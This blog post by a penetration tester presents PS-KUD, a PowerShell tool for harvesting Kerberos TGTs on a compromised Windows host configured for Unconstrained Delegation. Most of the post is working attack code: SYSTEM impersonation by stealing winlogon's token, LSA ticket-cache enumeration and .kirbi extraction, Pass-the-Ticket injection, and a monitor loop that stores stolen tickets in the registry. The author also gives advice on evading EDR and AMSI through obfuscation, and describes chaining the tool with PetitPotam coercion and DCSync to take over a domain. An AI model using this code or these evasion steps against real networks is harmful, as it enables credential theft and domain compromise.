**TL;DR:** This blog post goes over the concept of Kerberos Unconstrained Delegation abuse from an offensive perspective, and more specifically how an attacker sitting on a compromised system configured for UCD can silently harvest incoming TGTs from other accounts and machines. After a quick refresher on UCD attacks, I dive into the Windows internals and code that make TGT extraction possible (LSA, secur32.dll, ticket caches, logon sessions, P/Invoke marshalling), and I introduce PS-KUD, a pure PowerShell tool I wrote to monitor and capture TGTs in real-time, with optional auto Pass-the-Ticket injection. Think of it as Rubeus's `monitor` command, but without Rubeus. Because why would you spend time packing and obfuscating an entire C# toolkit just to run a single function ? ![[UCD_macron 1.jpg]] # I : Unconstrained Delegation & the TGT harvesting attack If you've been doing Active Directory pentesting for a while, you probably already know about Kerberos Delegation. If not, I strongly recommend reading [Pixis's article](https://en.hackndo.com/constrained-unconstrained-delegation/) on the topic before going further, as it remains one of the best explanations out there. But here's the short version. When a service needs to act on behalf of a user to access another service (think of a web server accessing a backend SQL database as the requesting user), Kerberos Delegation is the mechanism that makes this possible. **Unconstrained Delegation (UCD)** is the oldest and most permissive form of delegation : when a user authenticates to a service running on a machine configured for UCD, **their full TGT is sent along with the service ticket and cached on that machine**. Yes, you read that right. The user's actual Ticket Granting Ticket, the golden key to request service tickets for anything in the domain, just sits there in the machine's ticket cache. The original idea was that the service could then reuse this TGT to access other services on behalf of the user. In practice, it means that **anyone who compromises a UCD-configured machine gets access to every TGT that lands on it**. By default, every Domain Controller is configured for Unconstrained Delegation (this is by design and required for AD to function). The real danger lies in **non-DC systems** that have this flag enabled, often leftovers from old application deployments or lazy configurations that nobody ever cleaned up. The classic attack scenario goes like this : 1. Compromise a machine configured for UCD 2. Wait for (or coerce) a high-value account to authenticate to it 3. Grab the incoming TGT from the ticket cache 4. Use it to impersonate that account anywhere in the domain Step 3 is where things get interesting. Most people know this attack through [Rubeus](https://github.com/GhostPack/Rubeus) and its `monitor` command. And Rubeus is great, no doubt. But here's the scenario I keep running into during engagements : you've compromised a server configured for UCD, you're ready to capture that juicy DC TGT via [SpoolSample](https://github.com/leechristensen/SpoolSample) or [PetitPotam](https://github.com/topotam/PetitPotam), but then you realize that the box has an EDR and **Rubeus gets flagged the moment you touch the disk with it**. Now you're stuck in packer/obfuscator hell. Do you run it through ConfuserEx ? Do you reflectively load it ? Do you spend an hour trying to get a custom loader to work just so you can call **one function** out of Rubeus's 50+ features ? This is why PS-KUD does exactly that one thing (TGT monitoring + optional Pass-the-Ticket), without requiring you to deal with binary evasion for a full-blown C# toolkit. And as I described in my [(Don't) Trust me](https://blog.y00ga.lol/PERSO/PUBLISH/Article+perso/(Don't)+Trust+me%2C+a+little+study+on+attacking+Active+Directory+Trusts) article, this attack is not limited to a single domain either. If a machine configured for UCD in **Child Domain B** is compromised, and a bidirectional trust exists with **Parent Domain A** (which is the default for Parent-Child relationships), you can capture TGTs from **Parent Domain A's Domain Controller** as well, at least as long as TGT Delegation is enabled (pretty sure it is also possible to enable it yourself on the adequat side of the trust). Child to parent, one script, one command. # II : Under the hood — talking to the LSA This is the fun part. Let's go over the actual code and the Windows internals that make PS-KUD work. The entire interop layer is written as an inline C# class (more on that choice later) that gets compiled once via `Add-Type` and exposes static methods to the PowerShell runtime. ## The API chain Kerberos tickets on Windows are not stored in some obscure file on disk. They live in memory, managed by the **Local Security Authority (LSA)** subsystem. To read them, you need to talk to the LSA through a specific set of native APIs exposed by `secur32.dll`. Here's the full chain of calls PS-KUD uses : 1. `LsaConnectUntrusted` — Open a handle to the LSA 2. `LsaLookupAuthenticationPackage` — Resolve the Kerberos authentication package ID 3. `LsaEnumerateLogonSessions` — Get every logon session on the machine 4. `LsaGetLogonSessionData` — Get metadata (username, domain, LUID) for a session 5. `LsaCallAuthenticationPackage` — Query/extract/inject tickets in a session's cache 6. `LsaFreeReturnBuffer` / `LsaDeregisterLogonProcess` — Cleanup All of these need to be P/Invoked from our C# class : ```csharp [DllImport("secur32.dll", SetLastError = false)] private static extern uint LsaConnectUntrusted(out IntPtr LsaHandle); [DllImport("secur32.dll", SetLastError = false)] private static extern uint LsaLookupAuthenticationPackage( IntPtr LsaHandle, ref LSA_STRING_IN PackageName, out uint AuthenticationPackage); [DllImport("secur32.dll", SetLastError = false)] private static extern uint LsaEnumerateLogonSessions( out ulong LogonSessionCount, out IntPtr LogonSessionList); [DllImport("secur32.dll", SetLastError = false)] private static extern uint LsaGetLogonSessionData( IntPtr LogonId, out IntPtr ppLogonSessionData); [DllImport("secur32.dll", SetLastError = false)] private static extern uint LsaCallAuthenticationPackage( IntPtr LsaHandle, uint AuthenticationPackage, IntPtr ProtocolSubmitBuffer, int SubmitBufferLength, out IntPtr ProtocolReturnBuffer, out uint ReturnBufferLength, out int ProtocolStatus); ``` `LsaCallAuthenticationPackage` is the real workhorse here. It is a generic dispatch function : depending on the **message type** you put in the submit buffer, it performs completely different operations. PS-KUD uses three different message types through this single function : | Message Type | Constant | What it does | |---|---|---| | `KerbQueryTicketCacheExMessage` | 14 | List all cached tickets for a logon session | | `KerbRetrieveEncodedTicketMessage` | 8 | Extract a specific ticket as a .kirbi blob | | `KerbSubmitTicketMessage` | 21 | Inject a .kirbi blob into a session (PTT) | ## Becoming SYSTEM First obstacle : you cannot read other users' ticket caches as a regular admin. The LSA will only let you see your own session's tickets. To enumerate **all** logon sessions on the machine, you need to be running as **NT AUTHORITY\SYSTEM**. The classic technique is to steal `winlogon.exe`'s token. Since winlogon always runs as SYSTEM, we can open its process, duplicate its token, and impersonate it : ```csharp private static bool GetSystem() { Process[] procs = Process.GetProcessesByName("winlogon"); if (procs.Length == 0) return false; IntPtr hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, false, procs[0].Id); if (hProcess == IntPtr.Zero) return false; IntPtr hToken; if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY, out hToken)) { CloseHandle(hProcess); return false; } IntPtr hDup; if (!DuplicateToken(hToken, SECURITY_IMPERSONATION, out hDup)) { CloseHandle(hToken); CloseHandle(hProcess); return false; } bool ok = ImpersonateLoggedOnUser(hDup); CloseHandle(hDup); CloseHandle(hToken); CloseHandle(hProcess); return ok; } ``` Nothing revolutionary here, this is the same SYSTEM impersonation trick used by countless offensive tools. The P/Invoke imports for `OpenProcess`, `OpenProcessToken`, `DuplicateToken`, `ImpersonateLoggedOnUser` and `CloseHandle` all come from `advapi32.dll` and `kernel32.dll`. Once impersonating SYSTEM, we connect to the LSA with `LsaConnectUntrusted` and then immediately revert to self with `RevertToSelf()`. The key detail is that **the LSA handle we obtained while impersonating SYSTEM retains the elevated privileges even after we stop impersonating**. ```csharp if (!GetSystem()) throw new InvalidOperationException( "Failed to impersonate SYSTEM. Ensure the process is elevated."); IntPtr lsaHandle; uint ntstatus = LsaConnectUntrusted(out lsaHandle); RevertToSelf(); // Stop impersonating, but lsaHandle keeps SYSTEM-level access ``` ## Enumerating logon sessions and querying ticket caches With our SYSTEM-level LSA handle, we enumerate every logon session using `LsaEnumerateLogonSessions`. This returns an array of **LUIDs** (Locally Unique Identifiers), each representing one logon session on the machine. We then iterate over each LUID, call `LsaGetLogonSessionData` to retrieve session metadata (username, logon domain), and query the Kerberos ticket cache for that session. The ticket cache query is done by sending a `KERB_QUERY_TKT_CACHE_REQUEST` through `LsaCallAuthenticationPackage` with message type 14. This is where native structure marshalling comes in : ```csharp private static List<TGTInfo> QuerySessionTGTs(IntPtr lsaHandle, uint authPkg, LUID luid) { var result = new List<TGTInfo>(); // Build the cache query request var req = new KERB_QUERY_TKT_CACHE_REQUEST(); req.MessageType = KerbQueryTicketCacheExMessage; // 14 req.LogonId = luid; int reqSize = Marshal.SizeOf(req); IntPtr reqPtr = Marshal.AllocHGlobal(reqSize); Marshal.StructureToPtr(req, reqPtr, false); IntPtr respPtr; uint respLen; int protoStatus; uint status = LsaCallAuthenticationPackage( lsaHandle, authPkg, reqPtr, reqSize, out respPtr, out respLen, out protoStatus); Marshal.FreeHGlobal(reqPtr); if (status != 0 || protoStatus != 0 || respPtr == IntPtr.Zero) return result; // ... ``` The LSA responds with a `KERB_QUERY_TKT_CACHE_EX_RESPONSE` header followed by an array of `KERB_TICKET_CACHE_INFO_EX` structures, one per cached ticket. We need to walk this array manually using pointer arithmetic, because the entries are laid out sequentially in unmanaged memory right after the response header : ```csharp var resp = (KERB_QUERY_TKT_CACHE_EX_RESPONSE)Marshal.PtrToStructure( respPtr, typeof(KERB_QUERY_TKT_CACHE_EX_RESPONSE)); int headerSize = Marshal.SizeOf(typeof(KERB_QUERY_TKT_CACHE_EX_RESPONSE)); int entrySize = Marshal.SizeOf(typeof(KERB_TICKET_CACHE_INFO_EX)); for (int i = 0; i < resp.CountOfTickets; i++) { IntPtr entryPtr = (IntPtr)((long)respPtr + headerSize + (long)i * entrySize); var entry = (KERB_TICKET_CACHE_INFO_EX)Marshal.PtrToStructure( entryPtr, typeof(KERB_TICKET_CACHE_INFO_EX)); string serverName = ReadUnicodeString(entry.ServerName); // We only care about TGTs (krbtgt/REALM) if (!serverName.StartsWith("krbtgt/", StringComparison.OrdinalIgnoreCase)) continue; // Skip expired tickets DateTime endTime = SafeFromFileTime(entry.EndTime); if (endTime != DateTime.MinValue && endTime < DateTime.UtcNow) continue; // Extract the full ticket as KRB-CRED (.kirbi) byte[] kirbi = ExtractTicket(lsaHandle, authPkg, luid, serverName); if (kirbi == null) continue; // ... ``` Each `KERB_TICKET_CACHE_INFO_EX` entry contains `UNICODE_STRING` fields for the client name, realm, server name, as well as timestamps and ticket flags. The `UNICODE_STRING` structure is a classic Windows kernel/LSA pattern : a length, a max length, and a pointer to the actual UTF-16 buffer. Reading it requires a small helper because the buffer lives in unmanaged memory : ```csharp private static string ReadUnicodeString(UNICODE_STRING us) { if (us.Buffer == IntPtr.Zero || us.Length == 0) return string.Empty; return Marshal.PtrToStringUni(us.Buffer, us.Length / 2); } ``` We filter for tickets whose `ServerName` starts with `krbtgt/` because that's the naming convention for TGTs in the Kerberos protocol. A ticket for `krbtgt/YOURDOMAIN.COM` is the TGT for that realm. Everything else (like `HTTP/webserver.domain.com` or `CIFS/fileserver.domain.com`) is a service ticket, which is not what we're after. ## Extracting the .kirbi blob Finding TGTs in the cache is one thing, but we need the actual ticket data in a usable format. The cache query only gives us metadata (server name, flags, timestamps). To get the actual ticket bytes, we send a second request through `LsaCallAuthenticationPackage`, this time with message type 8 (`KerbRetrieveEncodedTicketMessage`). The critical flag here is `KERB_RETRIEVE_TICKET_AS_KERB_CRED` (0x8). This tells the LSA to wrap the ticket in a **KRB-CRED** ASN.1 structure, which is what the security community calls the `.kirbi` format. Without this flag, you'd get a raw ticket that's much harder to work with. The tricky part is building the request buffer. The `KERB_RETRIEVE_TKT_REQUEST` structure contains a `UNICODE_STRING TargetName` field whose `Buffer` pointer must point to the target name bytes. Since we're allocating everything in a single unmanaged buffer, we place the struct at the beginning and the name bytes right after it : ```csharp private static byte[] ExtractTicket(IntPtr lsaHandle, uint authPkg, LUID luid, string targetName) { byte[] nameBytes = Encoding.Unicode.GetBytes(targetName); int structSize = Marshal.SizeOf(typeof(KERB_RETRIEVE_TKT_REQUEST)); int totalSize = structSize + nameBytes.Length; IntPtr bufPtr = Marshal.AllocHGlobal(totalSize); // Zero the entire buffer first byte[] zeros = new byte[totalSize]; Marshal.Copy(zeros, 0, bufPtr, totalSize); // Build the request — TargetName.Buffer points right after the struct var req = new KERB_RETRIEVE_TKT_REQUEST(); req.MessageType = KerbRetrieveEncodedTicketMessage; // 8 req.LogonId = luid; req.TargetName.Length = (ushort)nameBytes.Length; req.TargetName.MaximumLength = (ushort)nameBytes.Length; req.TargetName.Buffer = (IntPtr)((long)bufPtr + structSize); // points after the struct req.CacheOptions = KERB_RETRIEVE_TICKET_AS_KERB_CRED; // 0x8 — the magic flag req.EncryptionType = 0; Marshal.StructureToPtr(req, bufPtr, false); Marshal.Copy(nameBytes, 0, (IntPtr)((long)bufPtr + structSize), nameBytes.Length); ``` Once the LSA processes this, it returns a `KERB_RETRIEVE_TKT_RESPONSE` containing a `KERB_EXTERNAL_TICKET` structure with `EncodedTicketSize` and `EncodedTicket` (a pointer to the raw bytes). We copy those bytes into a managed array and we have our `.kirbi` : ```csharp var resp = (KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure( respPtr, typeof(KERB_RETRIEVE_TKT_RESPONSE)); int ticketSize = resp.Ticket.EncodedTicketSize; IntPtr ticketPtr = resp.Ticket.EncodedTicket; byte[] kirbi = new byte[ticketSize]; Marshal.Copy(ticketPtr, kirbi, 0, ticketSize); LsaFreeReturnBuffer(respPtr); return kirbi; } ``` That `.kirbi` blob is now a complete KRB-CRED that can be base64-encoded, fed to Rubeus on another machine, or injected right back into a logon session. ## Pass-the-Ticket : injecting the captured TGT This is the `-Import` feature. Once we have a `.kirbi` blob, PS-KUD can inject it directly into the current logon session using `LsaCallAuthenticationPackage` with message type 21 (`KerbSubmitTicketMessage`). There's no public C# struct for `KERB_SUBMIT_TKT_REQUEST` in the Windows SDK headers, so we build the submission buffer manually, byte by byte. The layout is : ``` Offset Size Field 0 4 MessageType = 21 (KerbSubmitTicketMessage) 4 4 LogonId.LowPart 8 4 LogonId.HighPart 12 4 Flags = 0 16 4 Key.KeyType = 0 20 4 Key.Length = 0 24 4 Key.Offset = 0 28 4 KerbCredSize = <.kirbi byte count> 32 4 KerbCredOffset = 36 (right after the struct) 36 N <KRB-CRED bytes> = the actual .kirbi blob ``` In C# : ```csharp int structSize = 36; int totalSize = structSize + kirbiBytes.Length; IntPtr buf = Marshal.AllocHGlobal(totalSize); // Zero out byte[] zeros = new byte[totalSize]; Marshal.Copy(zeros, 0, buf, totalSize); Marshal.WriteInt32(buf, 0, KerbSubmitTicketMessage); // MessageType = 21 Marshal.WriteInt32(buf, 4, (int)luidLow); // LogonId.LowPart Marshal.WriteInt32(buf, 8, luidHigh); // LogonId.HighPart // Flags (12), Key fields (16-24) stay zeroed Marshal.WriteInt32(buf, 28, kirbiBytes.Length); // KerbCredSize Marshal.WriteInt32(buf, 32, structSize); // KerbCredOffset (= 36) Marshal.Copy(kirbiBytes, 0, (IntPtr)((long)buf + structSize), kirbiBytes.Length); // The .kirbi bytes uint ntstatus = LsaCallAuthenticationPackage( lsaHandle, authPkg, buf, totalSize, out respPtr, out respLen, out protoStatus); ``` When `LogonId` is set to `{0, 0}`, the ticket gets injected into the caller's own session. No SYSTEM impersonation needed for this part, an `LsaConnectUntrusted` handle is sufficient. However, if you want to inject into a **different** logon session (arbitrary LUID), the code re-impersonates SYSTEM before opening the LSA handle, because targeting another session requires elevated privileges : ```csharp bool needSystem = !(luidLow == 0 && luidHigh == 0); if (needSystem) { if (!GetSystem()) throw new InvalidOperationException("SYSTEM impersonation required"); impersonating = true; } IntPtr lsaHandle; uint ntstatus = LsaConnectUntrusted(out lsaHandle); if (impersonating) RevertToSelf(); ``` ## The monitor loop (PowerShell side) The C# class handles all the heavy lifting (LSA communication, marshalling, ticket extraction). The PowerShell part is the orchestration layer : it runs the polling loop, deduplicates tickets, formats output, and manages optional registry persistence. Deduplication is done via a `HashSet` of base64 strings. Every time a TGT is extracted, its base64 representation is checked against the set. Only new tickets get displayed : ```powershell $seenTickets = [System.Collections.Generic.HashSet[string]]::new() $ticketCount = 0 while ($true) { $currentTGTs = [KerberosMonitor]::GetCurrentTGTs($TargetUser) foreach ($tgt in $currentTGTs) { $b64 = [Convert]::ToBase64String($tgt.KirbiBytes) # Deduplicate by base64 content if ($seenTickets.Contains($b64)) { continue } [void]$seenTickets.Add($b64) $ticketCount++ # Display ticket metadata + base64 .kirbi # ... # Optional: auto Pass-the-Ticket if ($Import) { [KerberosMonitor]::ImportTicket($tgt.KirbiBytes) } # Optional: persist to registry if ($RegistryPath) { $valueName = "$($tgt.UserName)@$($tgt.LogonDomain)_$(Get-Date -Format 'yyyyMMddHHmmss')" Set-ItemProperty -Path "HKLM:\$RegistryPath" -Name $valueName -Value $b64 } } # RunFor timeout check if ($RunFor -gt 0) { $elapsed = ((Get-Date) - $startTime).TotalSeconds if ($elapsed -ge $RunFor) { break } } Start-Sleep -Seconds $Interval } ``` The registry persistence feature (`-RegistryPath`) is useful when you want captured tickets to survive a PowerShell session crash or when you want to grab them later from another session. Each ticket is stored as a base64 registry value under `HKLM:\<your-path>`, named with the format `username@domain_timestamp`. The C# class is compiled only once per PowerShell session thanks to a type existence check. If you run PS-KUD multiple times in the same session, `Add-Type` won't be called again : ```powershell $_kmType = ([System.Management.Automation.PSTypeName]'KerberosMonitor').Type if (-not $_kmType) { Add-Type -TypeDefinition $interopSource } elseif (-not ($_kmType.GetMethods() | Where-Object { $_.Name -eq 'ImportTicket' })) { # Handle stale type from a previous version without ImportTicket Write-Warning "KerberosMonitor is stale (no ImportTicket). Restart PowerShell to use -Import." } ``` # III : Why PowerShell (yes, again) If you read my previous articles (especially [PSisolation](https://blog.y00ga.lol/PERSO/PUBLISH/Article+perso/PSisolation%2C+in+Cyberspace+No+One+Can+Hear+You+Scream)), you know I have a thing for writing offensive tools in PowerShell. But PS-KUD wasn't born out of pure PowerShell enthusiasm. It was born out of frustration. ## The Rubeus problem Let me paint the picture. You're on an engagement, you've compromised a server configured for Unconstrained Delegation, and you need to run Rubeus's `monitor` command to capture an incoming TGT. Simple enough, right ? Except Rubeus is one of the most signatured offensive tools in existence. Every AV and EDR on the planet knows what Rubeus looks like. So now you need to : 1. Pack or obfuscate the Rubeus binary 2. Hope your packer isn't also signatured (spoiler: most popular ones are) 3. Test it, realize it got caught, try another packer 4. Maybe try reflective loading, which also gets flagged more and more these days 5. Finally get it running, just to call **one function** out of the 50+ commands Rubeus offers All of this effort, all of this time, for `monitor`. Not `asktgt`, not `s4u`, not `kerberoast`. Just `monitor`. The cost/benefit ratio is terrible. This is why PS-KUD exists : **to avoid having to pack, obfuscate or reflectively load an entire C# toolkit just to perform a single attack**. The tool does one thing, and it does it without touching Rubeus at all. ## The Add-Type trade-off If you've read my PSisolation article, you know I previously argued against using `Add-Type` because it touches disk through `csc.exe` compilation. So why did I use it here ? Honestly, because there was no practical alternative. The LSA APIs require marshalling over a dozen complex native structures (`KERB_QUERY_TKT_CACHE_REQUEST`, `KERB_RETRIEVE_TKT_REQUEST`, `KERB_EXTERNAL_TICKET`, `SECURITY_LOGON_SESSION_DATA`...), manual pointer arithmetic to walk unmanaged arrays, and careful memory management with `AllocHGlobal`/`FreeHGlobal`. Doing all of this through pure PowerShell P/Invoke signatures would have been a nightmare of `[System.Runtime.InteropServices.Marshal]` calls. The code would have been unreadable and unmaintainable. Unlike PSisolation which only needed to call a few simple cmdlets, PS-KUD genuinely requires low-level interop that C# handles so much better. The inline C# class approach (`Add-Type -TypeDefinition`) keeps the interop clean and self-contained while still being embedded in a single `.ps1` file. Yes, `csc.exe` will compile a temporary assembly on disk, but the trade-off is worth it here. The alternative would have been to ship a pre-compiled DLL (which defeats the purpose of a pure PowerShell tool) or to write 500+ lines of raw marshalling code that nobody wants to debug. ## The real advantage : rewritability Here's the thing that I think matters most and that people tend to forget when comparing PowerShell tooling to compiled binaries : **if PS-KUD gets flagged by an AV or EDR tomorrow, I can rewrite or obfuscate it in an afternoon**. Rename the class, rename the methods, change the string literals, shuffle the code structure, encode the C# source as base64 and decode it at runtime, split the interop into multiple `Add-Type` calls, etc . A PowerShell script is just ... a script. You can transform it, split it, encode it, and pipe it however you want. The language was literally designed to be flexible this way. Try doing the same with a compiled C# binary. You need to decompile, modify the source (if you even have it), recompile, re-pack, re-test. Or you use a packer/crypter, which adds another layer of complexity and another signature to worry about. And when your packer gets signatured too (and it will), you're back to square one. With PowerShell, the evasion cycle is fundamentally shorter : - **Binary gets flagged** → find a new packer, test it, hope it works, repeat in 2 weeks - **PowerShell script gets flagged** → change variable names, rewrite the flagged function, maybe base64-encode a string or two, done I'm not saying PowerShell is magically invisible to EDRs. AMSI exists, ScriptBlock logging exists, and defenders are getting better at catching PowerShell-based attacks. But the iteration speed when something gets caught is incomparable. You're working with plaintext source code that you fully control, not fighting a black box compiler and hoping the output doesn't match a signature. The `-Import` flag is where things get fun. Combined with a coercion technique like SpoolSample or PetitPotam to force a Domain Controller to authenticate to your compromised UCD machine, PS-KUD will capture the DC's machine account TGT and immediately inject it into your session. From there, you can DCSync or do whatever you need with Domain Controller privileges. All from a PowerShell prompt. This also works across forest trusts, provided the trust does not enforce **Selective Authentication** and allows **TGT Delegation**. If you want to understand why Selective Authentication matters and how to set it up properly, go read [the second part](https://blog.y00ga.lol/PERSO/PUBLISH/Article+perso/(Don't)+Trust+me+PART+II%2C+a+little+study+on+securing+Active+Directory+Trusts) of my trust series. That said, PS-KUD is obviously not meant to replace Rubeus. Rubeus is a complete Kerberos swiss army knife with dozens of features. PS-KUD does one thing : monitor for TGTs and optionally inject them. It's a focused tool for a specific phase of the attack chain, and it exists so you don't have to drag an entire toolkit through evasion hell just to run one command. Code is available on this [repo](https://github.com/y00ga-sec/PS-KUD) Thank you for reading !